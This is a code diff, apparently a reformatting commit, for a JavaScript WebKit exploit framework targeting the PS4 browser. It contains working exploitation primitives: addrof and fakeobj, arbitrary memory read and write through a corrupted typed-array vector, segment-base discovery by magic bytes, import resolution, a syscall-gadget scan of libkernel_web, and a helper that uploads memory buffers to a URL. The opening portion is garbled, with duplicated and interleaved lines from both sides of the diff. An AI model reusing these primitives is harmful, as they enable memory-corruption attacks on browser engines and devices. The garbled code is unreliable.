cpy(dst, src, len) {
if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) {
throw TypeError('len not a unsigned 32-bit integer');
}
const dvals = lohi_from_one(dst);
const svals = lohi_from_one(src);
const dset = this._dst_setter;
const sset = this._src_setter;
const dvals = lohi_from_one(dst);
const svals = lohi_from_one(src);
const dset = this._dst_setter;
const sset = this._src_setter;
dset[0] = dvals[0];
dset[1] = dvals[1];
sset[0] = svals[0];
sset[1] = svals[1];
sset[2] = len;
dset[0] = dvals[0];
dset[1] = dvals[1];
sset[0] = svals[0];
sset[1] = svals[1];
sset[2] = len;
this._cpydst.set(this._cpysrc);
}
this._cpydst.set(this._cpysrc);
// allocate Garbage Collector managed memory. returns [address_of_memory,
// backer]. backer is the JSCell that is keeping the returned memory alive,
// you can drop it once you have another GC object reference the address.
// the backer is an implementation detail. don't use it to mutate the
// memory
gc_alloc(size) {
if (!isInteger(size)) {
throw TypeError("size not a integer");
}
if (size < 0) {
throw RangeError("size is negative");
}
// allocate Garbage Collector managed memory. returns [address_of_memory,
// backer]. backer is the JSCell that is keeping the returned memory alive,
// you can drop it once you have another GC object reference the address.
// the backer is an implementation detail. don't use it to mutate the
// memory
gc_alloc(size) {
if (!isInteger(size)) {
throw TypeError('size not a integer');
}
if (size < 0) {
throw RangeError('size is negative');
}
const fastLimit = 1000;
size = (size + 7 & ~7) >> 3;
if (size > fastLimit) {
throw RangeError('size is too large');
}
const backer = new Float64Array(size);
return [mem.addrof(backer).readp(view_m_vector), backer];
const fastLimit = 1000;
size = ((size + 7) & ~7) >> 3;
if (size > fastLimit) {
throw RangeError("size is too large");
}
fakeobj(addr) {
const values = lohi_from_one(addr);
const worker = this._worker;
const main = this._main;
const backer = new Float64Array(size);
return [mem.addrof(backer).readp(view_m_vector), backer];
}
main[off_vector] = this._fake_low;
main[off_vector2] = this._fake_high;
worker.setUint32(0, values[0], true);
worker.setUint32(4, values[1], true);
return this._obj[0];
fakeobj(addr) {
const values = lohi_from_one(addr);
const worker = this._worker;
const main = this._main;
main[off_vector] = this._fake_low;
main[off_vector2] = this._fake_high;
worker.setUint32(0, values[0], true);
worker.setUint32(4, values[1], true);
return this._obj[0];
}
addrof(object) {
// typeof considers null as a object. blacklist it as it isn't a
// JSObject
if (object === null || (typeof object !== "object" && typeof object !== "function")) {
throw TypeError("argument not a JS object");
}
addrof(object) {
// typeof considers null as a object. blacklist it as it isn't a
// JSObject
if (object === null
|| (typeof object !== 'object' && typeof object !== 'function')
) {
throw TypeError('argument not a JS object');
}
const obj = this._obj;
const worker = this._worker;
const main = this._main;
const obj = this._obj;
const worker = this._worker;
const main = this._main;
obj.addr = object;
obj.addr = object;
main[off_vector] = this._addr_low;
main[off_vector2] = this._addr_high;
main[off_vector] = this._addr_low;
main[off_vector2] = this._addr_high;
const res = new Addr(worker.getUint32(0, true), worker.getUint32(4, true));
obj.addr = null;
const res = new Addr(
worker.getUint32(0, true),
worker.getUint32(4, true),
);
obj.addr = null;
return res;
}
return res;
// expects addr to be a Int
_set_addr_direct(addr) {
const main = this._main;
main[off_vector] = addr.lo;
main[off_vector2] = addr.hi;
}
set_addr(addr) {
const values = lohi_from_one(addr);
const main = this._main;
main[off_vector] = values[0];
main[off_vector2] = values[1];
}
get_addr() {
const main = this._main;
return new Addr(main[off_vector], main[off_vector2]);
}
read8(addr) {
this.set_addr(addr);
return this._worker.getUint8(0);
}
read16(addr) {
this.set_addr(addr);
return this._worker.getUint16(0, true);
}
read32(addr) {
this.set_addr(addr);
return this._worker.getUint32(0, true);
}
read64(addr) {
this.set_addr(addr);
const worker = this._worker;
return new Int(worker.getUint32(0, true), worker.getUint32(4, true));
}
// returns a pointer instead of an Int
readp(addr) {
this.set_addr(addr);
const worker = this._worker;
return new Addr(worker.getUint32(0, true), worker.getUint32(4, true));
}
read8_at(offset) {
if (!isInteger(offset)) {
throw TypeError("offset not a integer");
}
return this._worker.getUint8(offset);
}
// expects addr to be a Int
_set_addr_direct(addr) {
const main = this._main;
main[off_vector] = addr.lo;
main[off_vector2] = addr.hi;
read16_at(offset) {
if (!isInteger(offset)) {
throw TypeError("offset not a integer");
}
return this._worker.getUint16(offset, true);
}
set_addr(addr) {
const values = lohi_from_one(addr);
const main = this._main;
main[off_vector] = values[0];
main[off_vector2] = values[1];
read32_at(offset) {
if (!isInteger(offset)) {
throw TypeError("offset not a integer");
}
return this._worker.getUint32(offset, true);
}
get_addr() {
const main = this._main;
return new Addr(main[off_vector], main[off_vector2]);
read64_at(offset) {
if (!isInteger(offset)) {
throw TypeError("offset not a integer");
}
const worker = this._worker;
return new Int(worker.getUint32(offset, true), worker.getUint32(offset + 4, true));
}
read8(addr) {
this.set_addr(addr);
return this._worker.getUint8(0);
readp_at(offset) {
if (!isInteger(offset)) {
throw TypeError("offset not a integer");
}
const worker = this._worker;
return new Addr(worker.getUint32(offset, true), worker.getUint32(offset + 4, true));
}
read16(addr) {
this.set_addr(addr);
return this._worker.getUint16(0, true);
}
write8(addr, value) {
this.set_addr(addr);
this._worker.setUint8(0, value);
}
read32(addr) {
this.set_addr(addr);
return this._worker.getUint32(0, true);
}
write16(addr, value) {
this.set_addr(addr);
this._worker.setUint16(0, value, true);
}
read64(addr) {
this.set_addr(addr);
const worker = this._worker;
return new Int(worker.getUint32(0, true), worker.getUint32(4, true));
}
write32(addr, value) {
this.set_addr(addr);
this._worker.setUint32(0, value, true);
}
// returns a pointer instead of an Int
readp(addr) {
this.set_addr(addr);
const worker = this._worker;
return new Addr(worker.getUint32(0, true), worker.getUint32(4, true));
}
write64(addr, value) {
const values = lohi_from_one(value);
this.set_addr(addr);
const worker = this._worker;
worker.setUint32(0, values[0], true);
worker.setUint32(4, values[1], true);
}
read8_at(offset) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
return this._worker.getUint8(offset);
write8_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError("offset not a integer");
}
this._worker.setUint8(offset, value);
}
read16_at(offset) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
return this._worker.getUint16(offset, true);
write16_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError("offset not a integer");
}
this._worker.setUint16(offset, value, true);
}
read32_at(offset) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
return this._worker.getUint32(offset, true);
write32_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError("offset not a integer");
}
this._worker.setUint32(offset, value, true);
}
read64_at(offset) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
const worker = this._worker;
return new Int(
worker.getUint32(offset, true),
worker.getUint32(offset + 4, true),
);
}
readp_at(offset) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
const worker = this._worker;
return new Addr(
worker.getUint32(offset, true),
worker.getUint32(offset + 4, true),
);
}
write8(addr, value) {
this.set_addr(addr);
this._worker.setUint8(0, value);
}
write16(addr, value) {
this.set_addr(addr);
this._worker.setUint16(0, value, true);
}
write32(addr, value) {
this.set_addr(addr);
this._worker.setUint32(0, value, true);
}
write64(addr, value) {
const values = lohi_from_one(value);
this.set_addr(addr);
const worker = this._worker;
worker.setUint32(0, values[0], true);
worker.setUint32(4, values[1], true);
}
write8_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
this._worker.setUint8(offset, value);
}
write16_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
this._worker.setUint16(offset, value, true);
}
write32_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
this._worker.setUint32(offset, value, true);
}
write64_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
const values = lohi_from_one(value);
const worker = this._worker;
worker.setUint32(offset, values[0], true);
worker.setUint32(offset + 4, values[1], true);
write64_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError("offset not a integer");
}
const values = lohi_from_one(value);
const worker = this._worker;
worker.setUint32(offset, values[0], true);
worker.setUint32(offset + 4, values[1], true);
}
}

View File

@@ -17,98 +17,92 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// This module are for utilities that depend on running the exploit first
import { Int } from './int64.mjs';
import { mem } from './mem.mjs';
import { align } from './utils.mjs';
import { page_size } from './offset.mjs';
import { BufferView } from './rw.mjs';
import { View1 } from './view.mjs';
import { Int } from "./int64.mjs";
import { mem } from "./mem.mjs";
import { align } from "./utils.mjs";
import { page_size } from "./offset.mjs";
import { BufferView } from "./rw.mjs";
import { View1 } from "./view.mjs";
import * as off from './offset.mjs';
import * as off from "./offset.mjs";
// creates an ArrayBuffer whose contents is copied from addr
export function make_buffer(addr, size) {
// see enum TypedArrayMode from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
// at webkitgtk 2.34.4
//
// see possiblySharedBuffer() from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
// at webkitgtk 2.34.4
// see enum TypedArrayMode from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
// at webkitgtk 2.34.4
//
// see possiblySharedBuffer() from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
// at webkitgtk 2.34.4
// We will create an OversizeTypedArray via requesting an Uint8Array whose
// number of elements will be greater than fastSizeLimit (1000).
//
// We will not use a FastTypedArray since its m_vector is visited by the
// GC and we will temporarily change it. The GC expects addresses from the
// JS heap, and that heap has metadata that the GC uses. The GC will likely
// crash since valid metadata won't likely be found at arbitrary addresses.
//
// The FastTypedArray approach will have a small time frame where the GC
// can inspect the invalid m_vector field.
//
// Views created via "new TypedArray(x)" where "x" is a number will always
// have an m_mode < WastefulTypedArray.
const u = new Uint8Array(1001);
const u_addr = mem.addrof(u);
// We will create an OversizeTypedArray via requesting an Uint8Array whose
// number of elements will be greater than fastSizeLimit (1000).
//
// We will not use a FastTypedArray since its m_vector is visited by the
// GC and we will temporarily change it. The GC expects addresses from the
// JS heap, and that heap has metadata that the GC uses. The GC will likely
// crash since valid metadata won't likely be found at arbitrary addresses.
//
// The FastTypedArray approach will have a small time frame where the GC
// can inspect the invalid m_vector field.
//
// Views created via "new TypedArray(x)" where "x" is a number will always
// have an m_mode < WastefulTypedArray.
const u = new Uint8Array(1001);
const u_addr = mem.addrof(u);
// we won't change the butterfly and m_mode so we won't save those
const old_addr = u_addr.read64(off.view_m_vector);
const old_size = u_addr.read32(off.view_m_length);
// we won't change the butterfly and m_mode so we won't save those
const old_addr = u_addr.read64(off.view_m_vector);
const old_size = u_addr.read32(off.view_m_length);
u_addr.write64(off.view_m_vector, addr);
u_addr.write32(off.view_m_length, size);
u_addr.write64(off.view_m_vector, addr);
u_addr.write32(off.view_m_length, size);
const copy = new Uint8Array(u.length);
copy.set(u);
const copy = new Uint8Array(u.length);
copy.set(u);
// Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
// associated with them, if we ask for view.buffer, the view will be
// converted into a WastefulTypedArray and an ArrayBuffer will be created.
// This is done by calling slowDownAndWasteMemory().
//
// We can't use slowDownAndWasteMemory() on u since that will create a
// JSC::ArrayBufferContents with its m_data pointing to addr. On the
// ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
// cause a crash if the m_data is not from the fastMalloc heap, and even if
// it is, freeing abitrary addresses is dangerous as it may lead to a
// use-after-free.
const res = copy.buffer;
// Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
// associated with them, if we ask for view.buffer, the view will be
// converted into a WastefulTypedArray and an ArrayBuffer will be created.
// This is done by calling slowDownAndWasteMemory().
//
// We can't use slowDownAndWasteMemory() on u since that will create a
// JSC::ArrayBufferContents with its m_data pointing to addr. On the
// ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
// cause a crash if the m_data is not from the fastMalloc heap, and even if
// it is, freeing abitrary addresses is dangerous as it may lead to a
// use-after-free.
const res = copy.buffer;
// restore
u_addr.write64(off.view_m_vector, old_addr);
u_addr.write32(off.view_m_length, old_size);
// restore
u_addr.write64(off.view_m_vector, old_addr);
u_addr.write32(off.view_m_length, old_size);
return res;
return res;
}
// these values came from analyzing dumps from CelesteBlue
function check_magic_at(p, is_text) {
// byte sequence that is very likely to appear at offset 0 of a .text
// segment
const text_magic = [
new Int(0xe5894855, 0x56415741),
new Int(0x54415541, 0x8d485053),
];
// byte sequence that is very likely to appear at offset 0 of a .text
// segment
const text_magic = [new Int(0xe5894855, 0x56415741), new Int(0x54415541, 0x8d485053)];
// the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
// the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
// .data magic from 3.00, 6.00, and 6.20
//const data_magic = [
// new Int(0x18),
// new Int(0x3c13f4bf, 0x1),
//];
// .data magic from 3.00, 6.00, and 6.20
//const data_magic = [
// new Int(0x18),
// new Int(0x3c13f4bf, 0x1),
//];
// .data magic from 8.00 and 8.03
const data_magic = [
new Int(0x20),
new Int(0x3c13f4bf, 0x2),
];
// .data magic from 8.00 and 8.03
const data_magic = [new Int(0x20), new Int(0x3c13f4bf, 0x2)];
const magic = is_text ? text_magic : data_magic;
const value = [p.read64(0), p.read64(8)];
const magic = is_text ? text_magic : data_magic;
const value = [p.read64(0), p.read64(8)];
return value[0].eq(magic[0]) && value[1].eq(magic[1]);
return value[0].eq(magic[0]) && value[1].eq(magic[1]);
}
// Finds the base address of a segment: .text or .data
@@ -137,120 +131,96 @@ function check_magic_at(p, is_text) {
// addr.read8(-1);
//
export function find_base(addr, is_text, is_back) {
// align to page size
addr = align(addr, page_size);
const offset = (is_back ? -1 : 1) * page_size;
while (true) {
if (check_magic_at(addr, is_text)) {
break;
}
addr = addr.add(offset);
// align to page size
addr = align(addr, page_size);
const offset = (is_back ? -1 : 1) * page_size;
while (true) {
if (check_magic_at(addr, is_text)) {
break;
}
return addr;
addr = addr.add(offset);
}
return addr;
}
// gets the address of the underlying buffer of a JSC::JSArrayBufferView
export function get_view_vector(view) {
if (!ArrayBuffer.isView(view)) {
throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
}
return mem.addrof(view).readp(off.view_m_vector);
if (!ArrayBuffer.isView(view)) {
throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
}
return mem.addrof(view).readp(off.view_m_vector);
}
export function resolve_import(import_addr) {
if (import_addr.read16(0) !== 0x25ff) {
throw Error(
`instruction at ${import_addr} is not of the form: jmp qword`
+ ' [rip + X]');
}
// module_function_import:
// jmp qword [rip + X]
// ff 25 xx xx xx xx // signed 32-bit displacement
const disp = import_addr.read32(2);
// assume disp and offset are 32-bit integers
// x | 0 will always be a signed integer
const offset = (disp | 0) + 6;
// The rIP value used by "jmp [rip + X]" instructions is actually the rIP
// of the next instruction. This means that the actual address used is
// [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
// jump instruction, which is 6 in this case.
const function_addr = import_addr.readp(offset);
if (import_addr.read16(0) !== 0x25ff) {
throw Error(`instruction at ${import_addr} is not of the form: jmp qword [rip + X]`);
}
// module_function_import:
// jmp qword [rip + X]
// ff 25 xx xx xx xx // signed 32-bit displacement
const disp = import_addr.read32(2);
// assume disp and offset are 32-bit integers
// x | 0 will always be a signed integer
const offset = (disp | 0) + 6;
// The rIP value used by "jmp [rip + X]" instructions is actually the rIP
// of the next instruction. This means that the actual address used is
// [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
// jump instruction, which is 6 in this case.
const function_addr = import_addr.readp(offset);
return function_addr;
return function_addr;
}
export function init_syscall_array(
syscall_array,
libkernel_web_base,
max_search_size,
) {
if (!Number.isInteger(max_search_size)) {
throw TypeError(
`max_search_size is not a integer: ${max_search_size}`);
}
if (max_search_size < 0) {
throw Error(`max_search_size is less than 0: ${max_search_size}`);
}
export function init_syscall_array(syscall_array, libkernel_web_base, max_search_size) {
if (!Number.isInteger(max_search_size)) {
throw TypeError(`max_search_size is not a integer: ${max_search_size}`);
}
if (max_search_size < 0) {
throw Error(`max_search_size is less than 0: ${max_search_size}`);
}
const libkernel_web_buffer = make_buffer(
libkernel_web_base,
max_search_size,
);
const kbuf = new BufferView(libkernel_web_buffer);
const libkernel_web_buffer = make_buffer(libkernel_web_base, max_search_size);
const kbuf = new BufferView(libkernel_web_buffer);
// Search 'rdlo' string from libkernel_web's .rodata section to gain an
// upper bound on the size of the .text section.
let text_size = 0;
let found = false;
for (let i = 0; i < max_search_size; i++) {
if (kbuf[i] === 0x72
&& kbuf[i + 1] === 0x64
&& kbuf[i + 2] === 0x6c
&& kbuf[i + 3] === 0x6f
) {
text_size = i;
found = true;
break;
}
}
if (!found) {
throw Error(
'"rdlo" string not found in libkernel_web, base address:'
+ ` ${libkernel_web_base}`);
// Search 'rdlo' string from libkernel_web's .rodata section to gain an
// upper bound on the size of the .text section.
let text_size = 0;
let found = false;
for (let i = 0; i < max_search_size; i++) {
if (kbuf[i] === 0x72 && kbuf[i + 1] === 0x64 && kbuf[i + 2] === 0x6c && kbuf[i + 3] === 0x6f) {
text_size = i;
found = true;
break;
}
}
if (!found) {
throw Error(`"rdlo" string not found in libkernel_web, base address: ${libkernel_web_base}`);
}
// search for the instruction sequence:
// syscall_X:
// mov rax, X
// mov r10, rcx
// syscall
for (let i = 0; i < text_size; i++) {
if (kbuf[i] === 0x48
&& kbuf[i + 1] === 0xc7
&& kbuf[i + 2] === 0xc0
&& kbuf[i + 7] === 0x49
&& kbuf[i + 8] === 0x89
&& kbuf[i + 9] === 0xca
&& kbuf[i + 10] === 0x0f
&& kbuf[i + 11] === 0x05
) {
const syscall_num = kbuf.read32(i + 3);
syscall_array[syscall_num] = libkernel_web_base.add(i);
// skip the sequence
i += 11;
}
// search for the instruction sequence:
// syscall_X:
// mov rax, X
// mov r10, rcx
// syscall
for (let i = 0; i < text_size; i++) {
if (kbuf[i] === 0x48 && kbuf[i + 1] === 0xc7 && kbuf[i + 2] === 0xc0 && kbuf[i + 7] === 0x49 && kbuf[i + 8] === 0x89 && kbuf[i + 9] === 0xca && kbuf[i + 10] === 0x0f && kbuf[i + 11] === 0x05) {
const syscall_num = kbuf.read32(i + 3);
syscall_array[syscall_num] = libkernel_web_base.add(i);
// skip the sequence
i += 11;
}
}
}
// create a char array like in the C language
//
// string to view since it's easier to get the address of the buffer this way
export function cstr(str) {
str += '\0';
return View1.from(str, c => c.codePointAt(0));
str += "\0";
return View1.from(str, (c) => c.codePointAt(0));
}
// we are re-exporting this since users that want to use cstr() usually want
// jstr() as well. they are likely working with functions that take/return
// strings
export { jstr } from './utils.mjs';
export { jstr } from "./utils.mjs";

View File

@@ -15,7 +15,7 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int, lohi_from_one } from './int64.mjs';
import { Int, lohi_from_one } from "./int64.mjs";
// DataView's accessors are constant time and are faster when doing multi-byte
// accesses but the single-byte accessors are slightly slower compared to just
@@ -27,39 +27,36 @@ import { Int, lohi_from_one } from './int64.mjs';
// instances of BufferView will their have m_mode set to WastefulTypedArray
// since we use the .buffer getter to create a DataView
export class BufferView extends Uint8Array {
constructor(...args) {
super(...args);
this._dview = new DataView(this.buffer, this.byteOffset);
}
constructor(...args) {
super(...args);
this._dview = new DataView(this.buffer, this.byteOffset);
}
read16(offset) {
return this._dview.getUint16(offset, true);
}
read16(offset) {
return this._dview.getUint16(offset, true);
}
read32(offset) {
return this._dview.getUint32(offset, true);
}
read32(offset) {
return this._dview.getUint32(offset, true);
}
read64(offset) {
return new Int(
this._dview.getUint32(offset, true),
this._dview.getUint32(offset + 4, true),
);
}
read64(offset) {
return new Int(this._dview.getUint32(offset, true), this._dview.getUint32(offset + 4, true));
}
write16(offset, value) {
this._dview.setUint16(offset, value, true);
}
write16(offset, value) {
this._dview.setUint16(offset, value, true);
}
write32(offset, value) {
this._dview.setUint32(offset, value, true);
}
write32(offset, value) {
this._dview.setUint32(offset, value, true);
}
write64(offset, value) {
const values = lohi_from_one(value);
this._dview.setUint32(offset, values[0], true);
this._dview.setUint32(offset + 4, values[1], true);
}
write64(offset, value) {
const values = lohi_from_one(value);
this._dview.setUint32(offset, values[0], true);
this._dview.setUint32(offset + 4, values[1], true);
}
}
// WARNING: These functions are now deprecated. use BufferView instead.
@@ -88,53 +85,53 @@ export class BufferView extends Uint8Array {
// for reads less than 8 bytes
function read(u8_view, offset, size) {
let res = 0;
for (let i = 0; i < size; i++) {
res += u8_view[offset + i] << i*8;
}
// << returns a signed integer, >>> converts it to unsigned
return res >>> 0;
let res = 0;
for (let i = 0; i < size; i++) {
res += u8_view[offset + i] << (i * 8);
}
// << returns a signed integer, >>> converts it to unsigned
return res >>> 0;
}
export function read16(u8_view, offset) {
return read(u8_view, offset, 2);
return read(u8_view, offset, 2);
}
export function read32(u8_view, offset) {
return read(u8_view, offset, 4);
return read(u8_view, offset, 4);
}
export function read64(u8_view, offset) {
return new Int(read32(u8_view, offset), read32(u8_view, offset + 4));
return new Int(read32(u8_view, offset), read32(u8_view, offset + 4));
}
// for writes less than 8 bytes
function write(u8_view, offset, value, size) {
for (let i = 0; i < size; i++) {
u8_view[offset + i] = (value >>> i*8) & 0xff;
}
for (let i = 0; i < size; i++) {
u8_view[offset + i] = (value >>> (i * 8)) & 0xff;
}
}
export function write16(u8_view, offset, value) {
write(u8_view, offset, value, 2);
write(u8_view, offset, value, 2);
}
export function write32(u8_view, offset, value) {
write(u8_view, offset, value, 4);
write(u8_view, offset, value, 4);
}
export function write64(u8_view, offset, value) {
if (!(value instanceof Int)) {
throw TypeError('write64 value must be an Int');
}
if (!(value instanceof Int)) {
throw TypeError("write64 value must be an Int");
}
let low = value.lo;
let high = value.hi;
let low = value.lo;
let high = value.hi;
for (let i = 0; i < 4; i++) {
u8_view[offset + i] = (low >>> i*8) & 0xff;
}
for (let i = 0; i < 4; i++) {
u8_view[offset + 4 + i] = (high >>> i*8) & 0xff;
}
for (let i = 0; i < 4; i++) {
u8_view[offset + i] = (low >>> (i * 8)) & 0xff;
}
for (let i = 0; i < 4; i++) {
u8_view[offset + 4 + i] = (high >>> (i * 8)) & 0xff;
}
}

View File

@@ -15,158 +15,150 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int } from './int64.mjs';
import { Int } from "./int64.mjs";
export class DieError extends Error {
constructor(...args) {
super(...args);
this.name = this.constructor.name;
}
constructor(...args) {
super(...args);
this.name = this.constructor.name;
}
}
export function die(msg='') {
throw new DieError(msg);
export function die(msg = "") {
throw new DieError(msg);
}
const console = document.getElementById('console');
export function log(msg='') {
console.append(msg + '\n');
const console = document.getElementById("console");
export function log(msg = "") {
console.append(`${msg}\n`);
}
export function clear_log() {
console.innerHTML = null;
console.innerHTML = null;
}
// alignment must be 32 bits and is a power of 2
export function align(a, alignment) {
if (!(a instanceof Int)) {
a = new Int(a);
}
const mask = -alignment & 0xffffffff;
let type = a.constructor;
let low = a.lo & mask;
return new type(low, a.hi);
if (!(a instanceof Int)) {
a = new Int(a);
}
const mask = -alignment & 0xffffffff;
let type = a.constructor;
let low = a.lo & mask;
return new type(low, a.hi);
}
export async function send(url, buffer, file_name, onload=() => {}) {
const file = new File(
[buffer],
file_name,
{type:'application/octet-stream'}
);
const form = new FormData();
form.append('upload', file);
export async function send(url, buffer, file_name, onload = () => {}) {
const file = new File([buffer], file_name, { type: "application/octet-stream" });
const form = new FormData();
form.append("upload", file);
log('send');
const response = await fetch(url, {method: 'POST', body: form});
log("send");
const response = await fetch(url, { method: "POST", body: form });
if (!response.ok) {
throw Error(`Network response was not OK, status: ${response.status}`);
}
onload();
if (!response.ok) {
throw Error(`Network response was not OK, status: ${response.status}`);
}
onload();
}
// mostly used to yield to the GC. marking is concurrent but collection isn't
//
// yielding also lets the DOM update. which is useful since we use the DOM for
// logging and we loop when waiting for a collection to occur
export function sleep(ms=0) {
return new Promise(resolve => setTimeout(resolve, ms));
export function sleep(ms = 0) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
export function hex(number) {
return '0x' + number.toString(16);
return `0x${number.toString(16)}`;
}
// no "0x" prefix
export function hex_np(number) {
return number.toString(16);
return number.toString(16);
}
// expects a byte array
export function hexdump(view) {
const num_16 = view.length & ~15;
const residue = view.length - num_16;
const max_off_len = hex_np(((view.length + 7) & ~7) - 1).length;
const num_16 = view.length & ~15;
const residue = view.length - num_16;
const max_off_len = hex_np(((view.length + 7) & ~7) - 1).length;
function chr(i) {
if (0x20 <= i && i <= 0x7e) {
return String.fromCodePoint(i);
}
return '.';
function chr(i) {
if (0x20 <= i && i <= 0x7e) {
return String.fromCodePoint(i);
}
return ".";
}
function to_hex(view, offset, length) {
return [...view.slice(offset, offset + length)].map((e) => hex_np(e).padStart(2, "0")).join(" ");
}
let bytes = [];
for (let i = 0; i < num_16; i += 16) {
const long1 = to_hex(view, i, 8);
const long2 = to_hex(view, i + 8, 8);
let print = "";
for (let j = 0; j < 16; j++) {
print += chr(view[j]);
}
function to_hex(view, offset, length) {
return (
[...view.slice(offset, offset + length)]
.map(e => hex_np(e).padStart(2, '0'))
.join(' ')
);
bytes.push([`${long1} ${long2}`, print]);
}
if (residue) {
const small = residue <= 8;
const long1_len = small ? residue : 8;
let long1 = to_hex(view, num_16, long1_len);
if (small) {
for (let i = 0; i < 8 - residue; i++) {
long1 += " xx";
}
}
let bytes = [];
for (let i = 0; i < num_16; i += 16) {
const long1 = to_hex(view, i, 8);
const long2 = to_hex(view, i + 8, 8);
const long2 = (() => {
if (small) {
return Array(8).fill("xx").join(" ");
}
let print = '';
for (let j = 0; j < 16; j++) {
print += chr(view[j]);
}
let res = to_hex(view, num_16 + 8, residue - 8);
for (let i = 0; i < 16 - residue; i++) {
res += " xx";
}
bytes.push([`${long1} ${long2}`, print]);
return res;
})();
let print = "";
for (let i = 0; i < residue; i++) {
print += chr(view[num_16 + i]);
}
for (let i = 0; i < 16 - residue; i++) {
print += " ";
}
if (residue) {
const small = residue <= 8;
const long1_len = small ? residue : 8;
bytes.push([`${long1} ${long2}`, print]);
}
let long1 = to_hex(view, num_16, long1_len);
if (small) {
for (let i = 0; i < 8 - residue; i++) {
long1 += ' xx';
}
}
const long2 = (() => {
if (small) {
return Array(8).fill('xx').join(' ');
}
let res = to_hex(view, num_16 + 8, residue - 8);
for (let i = 0; i < 16 - residue; i++) {
res += ' xx';
}
return res;
})();
let print = '';
for (let i = 0; i < residue; i++) {
print += chr(view[num_16 + i]);
}
for (let i = 0; i < 16 - residue; i++) {
print += ' ';
}
bytes.push([`${long1} ${long2}`, print]);
}
for (const [pos, [val, print]] of bytes.entries()) {
const off = hex_np(pos * 16).padStart(max_off_len, '0');
log(`${off} | ${val} |${print}|`);
}
for (const [pos, [val, print]] of bytes.entries()) {
const off = hex_np(pos * 16).padStart(max_off_len, "0");
log(`${off} | ${val} |${print}|`);
}
}
// make a JavaScript string
export function jstr(buffer) {
let res = '';
for (const item of buffer) {
if (item === 0) {
break;
}
res += String.fromCodePoint(item);
let res = "";
for (const item of buffer) {
if (item === 0) {
break;
}
// convert to primitive string
return String(res);
res += String.fromCodePoint(item);
}
// convert to primitive string
return String(res);
}

View File

@@ -15,12 +15,12 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int, lohi_from_one } from './int64.mjs';
import { Addr } from './mem.mjs';
import { BufferView } from './rw.mjs';
import { Int, lohi_from_one } from "./int64.mjs";
import { Addr } from "./mem.mjs";
import { BufferView } from "./rw.mjs";
import * as config from '../config.mjs';
import * as mt from './memtools.mjs';
import * as config from "../config.mjs";
import * as mt from "./memtools.mjs";
// View constructors will always get the buffer property in order to make sure
// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
@@ -36,61 +36,61 @@ import * as mt from './memtools.mjs';
// get_view_vector() still works on them.
function ViewMixin(superclass) {
const res = class extends superclass {
constructor(...args) {
super(...args);
this.buffer;
}
get addr() {
let res = this._addr_cache;
if (res !== undefined) {
return res;
}
res = mt.get_view_vector(this);
this._addr_cache = res;
return res;
}
get size() {
return this.byteLength;
}
addr_at(index) {
const size = this.BYTES_PER_ELEMENT;
return this.addr.add(index * size);
}
sget(index) {
return this[index] | 0;
}
};
// workaround for known affected versions: ps4 [6.00, 10.00)
//
// see from() and of() from
// WebKit/Source/JavaScriptCore/builtins/TypedArrayConstructor.js at PS4
// 8.0x
//
// @getByIdDirectPrivate(this, "allocateTypedArray") will fail when "this"
// isn't one of the built-in TypedArrays. this is a violation of the
// ECMAScript spec at that time
//
// TODO: Assumes PS4, support PS5 as well
// FIXME: Define the from/of workaround functions once
if (0x600 <= config.target && config.target < 0x1000) {
res.from = function from(...args) {
const base = this.__proto__;
return new this(base.from(...args).buffer);
};
res.of = function of(...args) {
const base = this.__proto__;
return new this(base.of(...args).buffer);
};
const res = class extends superclass {
constructor(...args) {
super(...args);
this.buffer;
}
return res;
get addr() {
let res = this._addr_cache;
if (res !== undefined) {
return res;
}
res = mt.get_view_vector(this);
this._addr_cache = res;
return res;
}
get size() {
return this.byteLength;
}
addr_at(index) {
const size = this.BYTES_PER_ELEMENT;
return this.addr.add(index * size);
}
sget(index) {
return this[index] | 0;
}
};
// workaround for known affected versions: ps4 [6.00, 10.00)
//
// see from() and of() from
// WebKit/Source/JavaScriptCore/builtins/TypedArrayConstructor.js at PS4
// 8.0x
//
// @getByIdDirectPrivate(this, "allocateTypedArray") will fail when "this"
// isn't one of the built-in TypedArrays. this is a violation of the
// ECMAScript spec at that time
//
// TODO: Assumes PS4, support PS5 as well
// FIXME: Define the from/of workaround functions once
if (0x600 <= config.target && config.target < 0x1000) {
res.from = function from(...args) {
